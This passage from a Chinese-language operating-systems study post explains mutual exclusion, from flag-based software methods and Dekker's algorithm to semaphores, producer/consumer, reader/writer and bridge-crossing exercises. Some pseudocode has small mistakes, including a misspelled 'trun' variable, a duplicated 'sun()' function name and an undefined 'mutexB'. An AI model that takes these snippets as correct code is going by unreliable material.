class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> trun = <span class="number">0</span>;                      <span class="comment">//共享的全局变量</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P0</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (turn != <span class="number">0</span>) ;           <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P0的临界区代码； //临界区</span></span><br><span class="line">    turn = <span class="number">1</span>;                     <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P0的其它代码 //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P1</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (turn != <span class="number">1</span>) ;           <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P1的临界区代码； //临界区</span></span><br><span class="line">    turn = <span class="number">0</span>;                     <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P1的其它代码           //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p>这是最容易想到的，一个全局变量，然后两个进程之间轮换，但是违反了空闲让进的原则。如果是 P1 先进入，那么就会在 while 处执行空的循环，直到时间片用完。但是这个期间，虽然 P1 没有访问临界区，但是 P0 也无法访问临界区，这就违反了空闲让进的原则了。</p><p>也就是必须按照一定的顺序执行才行，<strong>每个进程执行的权限来自其他进程，如果其他进程没有先执行，就会违反空闲让进原则</strong>。</p><p><strong>双标志先检查法</strong></p><p>通过设置一个数组，表示每个进程进入临界区的意愿，每个进程在使用资源之前先检查是否有别的进程想进入临界区。如果没有则将自身对应的标志 flag[i] 置为 true，并开始访问临界区；有则先让其他进程使用。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">boolean flag[<span class="number">2</span>] = &#123;<span class="literal">false</span>, <span class="literal">false</span>&#125;;   <span class="comment">//共享的全局变量</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P0</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (flag[<span class="number">1</span>]) ;               <span class="comment">//进入区</span></span><br><span class="line">    flag[<span class="number">0</span>] = <span class="literal">true</span>;                 <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P0的临界区代码；   //临界区</span></span><br><span class="line">    flag[<span class="number">0</span>] = <span class="literal">false</span>;                <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P0的其它代码             //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P1</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    <span class="keyword">while</span> (flag[<span class="number">0</span>]) ;               <span class="comment">//进入区</span></span><br><span class="line">    flag[<span class="number">1</span>] = <span class="literal">true</span>;                 <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P1的临界区代码；   //临界区</span></span><br><span class="line">    flag[<span class="number">1</span>] = <span class="literal">false</span>;                <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P1的其它代码   //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p>但是如果执行 #5 和 #14 的检查之后，#6 之后执行 #15，就会造成同时访问临界区的情况，违反了忙则等待的原则。这是因为检查和上锁之间，其他进程可能已经通过了检查，也在准备上锁。<strong>把检查和上锁结合在一块，形成原子操作，是可行的办法</strong>。</p><p><strong>双标志后检查法</strong></p><p>和上一个方法类似，差别在于先上锁后检查。但是如果在上锁和检查之间，另外一个进程也上锁了，就会造成死锁。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">boolean flag[<span class="number">2</span>] = &#123;<span class="literal">false</span>, <span class="literal">false</span>&#125;;    <span class="comment">//共享的全局变量</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P0</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    flag[<span class="number">0</span>] = <span class="literal">true</span>;                  <span class="comment">//进入区</span></span><br><span class="line">    <span class="keyword">while</span> (flag[<span class="number">1</span>]) ;                <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P0的临界区代码；   //临界区</span></span><br><span class="line">    flag[<span class="number">0</span>] = <span class="literal">false</span>;                 <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P0的其它代码          //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P1</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    flag[<span class="number">1</span>] = <span class="literal">true</span>;                  <span class="comment">//进入区</span></span><br><span class="line">    <span class="keyword">while</span> (flag[<span class="number">0</span>]) ;                <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P1的临界区代码；    //临界区</span></span><br><span class="line">    flag[<span class="number">1</span>] = <span class="literal">false</span>;                 <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P1的其它代码             //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br></pre></td></tr></table></figure><p><strong>Dekker 互斥算法</strong></p><p>这个算法结合了单标志法和双标志法，在使用临界资源前，判断对方是否想使用资源，而且资源的使用权是否已经给了对方。如果都是，则自己暂时不想使用资源，等待对方释放资源后，再想要资源。重复进行这样的等待，直到对方不想使用资源。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">boolean flag[<span class="number">2</span>] = &#123;<span class="literal">false</span>, <span class="literal">false</span>&#125;;              <span class="comment">//共享的全局变量</span></span><br><span class="line"><span class="type">int</span> turn = <span class="number">1</span>;                                  <span class="comment">//共享的全局</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P0</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    flag[<span class="number">0</span>] = <span class="literal">true</span>;                            <span class="comment">//进入区</span></span><br><span class="line">    <span class="keyword">while</span> (flag[<span class="number">1</span>]) &#123;</span><br><span class="line">       <span class="keyword">if</span> (turn == <span class="number">1</span>)  &#123;</span><br><span class="line">           flag[<span class="number">0</span>] = <span class="literal">false</span>;</span><br><span class="line">           <span class="keyword">while</span>  (turn == <span class="number">1</span>) ;                <span class="comment">//等待</span></span><br><span class="line">           flag[<span class="number">0</span>] = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">     &#125;                                         <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P0的临界区代码；             //临界区</span></span><br><span class="line">    turn = <span class="number">1</span>;</span><br><span class="line">    flag[<span class="number">0</span>] = <span class="literal">false</span>;                           <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P0的其它代码                     //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//进程P1</span></span><br><span class="line"><span class="keyword">do</span> &#123;</span><br><span class="line">    flag[<span class="number">1</span>] = <span class="literal">true</span>;                            <span class="comment">//进入区</span></span><br><span class="line">    <span class="keyword">while</span> (flag[<span class="number">0</span>]) &#123;</span><br><span class="line">       <span class="keyword">if</span> (turn == <span class="number">0</span>)  &#123;</span><br><span class="line">           flag[<span class="number">1</span>] = <span class="literal">false</span>;</span><br><span class="line">           <span class="keyword">while</span>  (turn == <span class="number">0</span>) ;              <span class="comment">//等待</span></span><br><span class="line">           flag[<span class="number">1</span>] = <span class="literal">true</span>;</span><br><span class="line">        &#125;</span><br><span class="line">     &#125;                                         <span class="comment">//进入区</span></span><br><span class="line">    <span class="comment">//进程P1的临界区代码；           //临界区</span></span><br><span class="line">    turn = <span class="number">0</span>;</span><br><span class="line">    flag[<span class="number">1</span>] = <span class="literal">false</span>;                           <span class="comment">//退出区</span></span><br><span class="line">    <span class="comment">//进程P1的其它代码                     //剩余区</span></span><br><span class="line">&#125; <span class="keyword">while</span> (<span class="literal">true</span>)</span><br></pre></td></tr></table></figure><p><strong>上述所有的软件方法，都是依靠循环实现，所以没有遵循让权等待的原则</strong></p><h4 id="硬件方法">硬件方法</h4><p>硬件方法分为<strong>中断禁用</strong>和<strong>机器指令</strong>。中断禁用，就是屏蔽中断，利用 「开/关中断指令」实现互斥。「关中断」和「开中断」之间的代码就是临界区。由于关中断后 CPU 会屏蔽中断，而<strong>进程切换依赖于中断</strong>，因此可以保证其他进程不会访问到这个临界区，避免了资源竞争。</p><p>但是中断禁用的办法<strong>只能在单 CPU 计算机使用</strong>，不同 CPU 之间的进程需要额外的协调机制。</p><p>机器指令是指在设计 CPU 时就设计了一些指令，用于<strong>保证两个动作的原子性</strong>。比较典型的例子是 <code>compare&amp;swap </code>，比较一个内存单元的值和一个测试值，如果相等，则发生交换。这个操作就必须保持原子性。再比如 <code>Exchange</code>，原子性地交换寄存器和内存的值。它涉及到两次写入，也是需要保持原子性。</p><p>采用机器指令可以支持多 CPU、多临界区计算机，而且简单易证明。但是使用不当也会造成死锁。</p><h4 id="信号量">信号量</h4><p>两个或多个进程可以通过传递信号进行合作，主要功能是：</p><ul><li>迫使进程在某个位置暂时停止执行（阻塞）</li><li>直到它收到一个可以“向前推进”的信号（被唤醒）</li></ul><p>这样的机制就叫做信号量机制。表示这样的信号的变量就叫做信号量。信号量是一个值为整数的变量，只能进行下面的三类操作：</p><ol><li>初始化为非负数。</li><li>semWait （Wait 或 P）操作使信号量的值减少 1。若值变为负数，则阻塞执行 semWait( Wait 或 P)操作的进程。</li><li>semSignal（Signal 或 V）操作使信号量的值增加 1，若值小于等于零，则被 semWait(Wait 或 P)阻塞的进程解除阻塞。</li></ol><p>信号量里 count 值可以解释如下</p><ul><li>s.count ≥ 0, s.count 表示执行 semWait(s)操作而不被阻塞的进程数（或可看作可用资源数）。这种情形信号量可支持同步与互斥。</li><li>s.count &lt; 0, s.count 表示阻塞在 s.queue 队列上的进程数。</li></ul><p><strong>生产者/消费者问题</strong></p><p>生产者/消费者问题是信号量使用的经典方式，描述如下：</p><ul><li>一个或者多个生产者产生数据，并放入缓冲区。</li><li>每次只能有一个消费者从缓冲中取出数据。</li><li>任何时候只能由一个生产者或消费者访问缓冲。（互斥关系）</li><li>保证缓冲区满时，生产者不会往缓冲区中增加数据。（同步关系）</li><li>保证缓冲区空时，消费者不能从缓冲区中取走数据。（同步关系）</li></ul><p>上面的条件中包括了两个同步关系和一个互斥关系。所以需要三个信号量表示。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line">semaphore mutex = <span class="number">1</span>; <span class="comment">//互斥信号量，实现对缓冲区的互斥访问</span></span><br><span class="line">semaphore empty = n; <span class="comment">//同步信号量，表示空闲缓冲单位的数量</span></span><br><span class="line">semaphore full = <span class="number">0</span>;  <span class="comment">//同步信号量，表示产品的数量，也即非空缓冲单位的数量</span></span><br><span class="line"></span><br><span class="line">producer()&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        <span class="comment">//生产1个产品;</span></span><br><span class="line">        P(empty);    <span class="comment">// 消耗一个空闲缓冲单位</span></span><br><span class="line">        P(mutex); <span class="comment">// 访问缓冲区</span></span><br><span class="line">        <span class="comment">//把产品放入缓冲区;</span></span><br><span class="line">        V(mutex);</span><br><span class="line">        V(full); <span class="comment">// 增加一个产品</span></span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">consumer()&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        P(full);     <span class="comment">// 消耗一个缓存区中的产品</span></span><br><span class="line">        P(mutex); <span class="comment">// 访问缓冲区</span></span><br><span class="line">        <span class="comment">//从缓冲区取出产品;</span></span><br><span class="line">        V(mutex);</span><br><span class="line">        V(empty); <span class="comment">// 增加一个可用缓冲区单位</span></span><br><span class="line">        <span class="comment">//使用产品;</span></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意：</p><ol><li>先申请资源信号量，再申请互斥信号量。如果反过来的话，会发生死锁。因为当缓冲区满之后，生产者的 <code>P(empty)</code> 会阻塞，同时上一句的 <code>P(mutex)</code> 会导致消费者的 <code>P(mutex)</code> 阻塞。</li><li>消费者的 <code>V(mutex)</code> 和 <code>V(empty)</code> 顺序可以互换。</li></ol><p>来看下面这个实际练习.</p><p>桌子上有一只盘子，最多可以放入 N（N&gt;0）个水果。爸爸随机向盘中放入苹果或桔子。儿子只吃盘中的桔子，女儿只吃盘中的苹果。只有盘子中水果数目小于 N 时，爸爸才可以向盘子中放水果（两个同步关系）；仅当盘子中有自己需要的水果时，儿子或女儿才可以从盘子中取出相应的水果（同步关系）；每次只能放入或取出一个水果，且不允许多人同时使用盘子（互斥关系）。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line">semaphore mutex = <span class="number">1</span>; <span class="comment">//一个盘子只能被一个人使用</span></span><br><span class="line">semaphore orange = <span class="number">0</span>; <span class="comment">//必须有橘子，儿子才能取橘子</span></span><br><span class="line">semaphore apple = <span class="number">0</span>; <span class="comment">//必须有苹果，女儿才能取苹果</span></span><br><span class="line">semaphore empty = N;<span class="comment">//必须有空位，爸爸才能放水果</span></span><br><span class="line"></span><br><span class="line"><span class="comment">//爸爸放水果</span></span><br><span class="line">P1()&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        <span class="comment">//选择水果类型</span></span><br><span class="line">        P(empty);</span><br><span class="line">        P(mutex);</span><br><span class="line">        <span class="comment">//放入水果进盘子</span></span><br><span class="line">        V(mutex)</span><br><span class="line">        V(orange or apple)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//儿子取桔子</span></span><br><span class="line">sun()&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        P(orange);</span><br><span class="line">        P(mutex);</span><br><span class="line">        <span class="comment">//取出苹果</span></span><br><span class="line">        V(mutex);</span><br><span class="line">        V(empty);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">//女儿取走苹果</span></span><br><span class="line">sun()&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        P(apple);</span><br><span class="line">        P(mutex);</span><br><span class="line">        <span class="comment">//取出苹果</span></span><br><span class="line">        V(mutex);</span><br><span class="line">        V(empty);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>如果改变条件，爸爸放苹果，妈妈放桔子，其他不变。那么只要增加一个和生产者类似的进程即可。</p><p><strong>读者和写者问题</strong></p><p>多个进程访问一个共享数据区（可为文件、内存空间、寄存器），其中有些进程只能读取数据，有些只能写入数据，有些则有读写权限。规定进程可以<strong>同时读、互斥写(不能同时写)、互斥读写（不能同时读写）</strong>。这个问题和消费者/生产者问题的区别在于，它可以同时读取。</p><p>为了完成互斥，就可以选择读者优先、写者优先，或者公平读写的策略。</p><p><strong>读者优先</strong>就是必须全部读者都完成了，才能写入。很显然，容易造成写者饥饿的问题。此时需要，读写互斥锁、读者的数量，由于读者数量是没有限制的，我们采用加互斥锁和变量来实现。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> readCount=<span class="number">0</span>；</span><br><span class="line">semaphore readCountMutex = <span class="number">1</span>, wMutex=<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">reader</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        P(readCountMutex);</span><br><span class="line">        readCount++;</span><br><span class="line">        <span class="keyword">if</span>(readCount==<span class="number">1</span>) P(wMutex); <span class="comment">//读写互斥</span></span><br><span class="line">        V(readCountMutex);</span><br><span class="line">        <span class="comment">//读取</span></span><br><span class="line">        P(readCountMutex);</span><br><span class="line">        readCount--;</span><br><span class="line">        <span class="keyword">if</span>(readCount == <span class="number">0</span>) V(wMutex);</span><br><span class="line">        V(readCountMutex)</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">writer</span><span class="params">()</span> &#123;</span><br><span class="line"><span class="keyword">while</span> (<span class="number">1</span>) &#123;</span><br><span class="line">        P(wMutex);</span><br><span class="line">        <span class="comment">//写入</span></span><br><span class="line">        V(wMutex);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>写者优先</strong>就是存在写者声明需要读取数据时，之前的读者必须先完成，之后的新的读者暂时不能读取数据，需要等待写入完毕之后才行。但是如果又有新的写入进程，那么会接着上一个写入进程执行。显然，由于读者被推迟，系统的并发性能较差。并发时需要考虑：</p><ol><li>之前的读者必须完成，所以需要记录之前读者的数量。</li><li>写入数据需要互斥锁。</li><li>之后的读者需要阻塞，需要互斥锁。</li><li>新来的写者可能要「插队」，需要记录写者数量。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> writeCount = <span class="number">0</span>, readCount = <span class="number">0</span>;</span><br><span class="line">semaphore wMutex=<span class="number">1</span>, rmutex=<span class="number">1</span>, writeCountMutex=<span class="number">1</span>, readCountMutex=<span class="number">1</span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> reader() &#123;</span><br><span class="line"><span class="keyword">while</span>(<span class="number">1</span>)&#123;</span><br><span class="line">        P(rMutex); <span class="comment">//被阻塞则不能进行任何操作</span></span><br><span class="line">        P(readCountMutex);</span><br><span class="line">        readCount++;</span><br><span class="line">        <span class="keyword">if</span>(readCount == <span class="number">1</span>) P(wMutex); <span class="comment">// 等待之前的读者完成</span></span><br><span class="line">        V(readCountMutex);</span><br><span class="line">        <span class="comment">//读取</span></span><br><span class="line">        P(readCountMutex);</span><br><span class="line">        readCount--;</span><br><span class="line">        <span class="keyword">if</span>(readCount == <span class="number">0</span>) V(wMutex); <span class="comment">//之前的读者完毕</span></span><br><span class="line">        V(readCountMutex);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">writer</span><span class="params">()</span>&#123;</span><br><span class="line"><span class="keyword">while</span> ( <span class="number">1</span> )&#123;</span><br><span class="line">P(writeCountMutex); <span class="comment">//为了保证自增和判断的原子性</span></span><br><span class="line">writecount++;</span><br><span class="line"><span class="keyword">if</span> (writecount == <span class="number">1</span>) P(rMutex); <span class="comment">//写入时阻塞读取</span></span><br><span class="line">V(writeCountMutex);</span><br><span class="line">P(wMutex);</span><br><span class="line"><span class="comment">//写入</span></span><br><span class="line">V(wMutex);</span><br><span class="line">P(writeCountMutex);</span><br><span class="line">writecount--;</span><br><span class="line"><span class="keyword">if</span> (writecount == <span class="number">0</span>) V(rMutex);</span><br><span class="line">V(writeCountMutex);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>公平读写</strong>则按照先来后到的顺序，处理读者和写者。那么</p><ol><li>读者读取时不能有写者。需要互斥。</li><li>新进程到达时，都应该阻塞。</li><li>写者之前的读者，应该全部完成，写者才能开始。</li><li>写者之间应该互斥。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> readCount = <span class="number">0</span>;</span><br><span class="line">semaphore wrMutex = <span class="number">1</span>, wMutex = <span class="number">1</span>, readCountMutex = <span class="number">1</span>,</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> reader()&#123;</span><br><span class="line">    P(wrMutex); <span class="comment">//读者和写者串行，但是读者之间并发</span></span><br><span class="line">    P(readCountMutex);</span><br><span class="line">    readCount++;</span><br><span class="line">    <span class="keyword">if</span>(readCount == <span class="number">1</span>) P(wMutex); <span class="comment">// 读取时加写锁</span></span><br><span class="line">    V(readCountMutex);</span><br><span class="line">    V(wrMutex); <span class="comment">//在这里解开读写锁很有讲究，读者可以并发读取</span></span><br><span class="line">    <span class="comment">//读取</span></span><br><span class="line">    P(readCountMutex);</span><br><span class="line">    readCount--;</span><br><span class="line">    <span class="keyword">if</span>(readCount == <span class="number">0</span>) V(wMutex)<span class="comment">//解开写锁</span></span><br><span class="line">    V(readCountMutex);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">wirter</span><span class="params">()</span>&#123;</span><br><span class="line">    P(wrMutex); <span class="comment">//读者和写者串行</span></span><br><span class="line">    p(wMutex);</span><br><span class="line">    <span class="comment">// 写入</span></span><br><span class="line">    V(wMutex);</span><br><span class="line">    V(wrMutex);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>例题 1：</p><p>有一座东西方向的独木桥，桥很窄只能单向通行，而且承载能力有限，最多 4 个人同时在桥上。当某一方向有行人过桥时，另一方向行人必须等待。东、西两端各有若干行人在等待过桥。请用 P、V 操作来实现东西两端行人过桥问题。</p><p>这是需要公平地过桥，两边地人互斥而且各自可以并发。每一边需要等另外一边的人通过才能开始。考虑进程之间的通信，需要的信息如下</p><ol><li>东西两个方向，需要互斥锁，只能走一个方向。</li><li>东西两个方向都需要自己的数量锁，防止并发造成 count 修改和读取不一致。</li><li>东西两个方向需要表示自己的数量。</li></ol><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> countA = <span class="number">0</span>, countB = <span class="number">0</span></span><br><span class="line">semaphore lockCountA = <span class="number">1</span>, lockCountB = <span class="number">1</span>, mutex = <span class="number">1</span>, count = <span class="number">4</span>;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">eastToWest</span><span class="params">()</span>&#123;</span><br><span class="line">    P(lockCountA);</span><br><span class="line">    countA++;</span><br><span class="line">    <span class="keyword">if</span>(countA==<span class="number">1</span>) P(mutex);</span><br><span class="line">    V(lockCountA);</span><br><span class="line">    P(count);</span><br><span class="line">    <span class="comment">//过桥</span></span><br><span class="line">    V(count);</span><br><span class="line">    P(lockCountA);</span><br><span class="line">    countA--;</span><br><span class="line">    <span class="keyword">if</span>(countA==<span class="number">0</span>) V(mutex);</span><br><span class="line">    V(lockCountA);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">westToEast</span><span class="params">()</span>&#123;</span><br><span class="line">    P(lockCountB);</span><br><span class="line">    countB++;</span><br><span class="line">    <span class="keyword">if</span> (countB==<span class="number">1</span>) P(mutex);</span><br><span class="line">    V(lockCountB);</span><br><span class="line">    P(count);</span><br><span class="line">    <span class="comment">//过桥</span></span><br><span class="line">    V(count);</span><br><span class="line">    P(lockCountB);</span><br><span class="line">    countB--;</span><br><span class="line">    <span class="keyword">if</span> (countB==<span class="number">0</span>) V(mutex);</span><br><span class="line">    V(mutexB);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>经验：</strong></p><ol><li>想象进程时独立个体，同类进程之间、不同类别进程之间合作需要哪些信息。</li><li>宁愿多一些信号量，尽量避免少量信号量组合使用，这样尽管精妙，但是不容易写和理解。</li><li>以上的例子都是可以拓展的，进程之间通过信号量同步，进程内部可以用更小的协程等同步，然后把每个小部分都视作对象，就构建并发的高性能程序了。</li></ol><h4 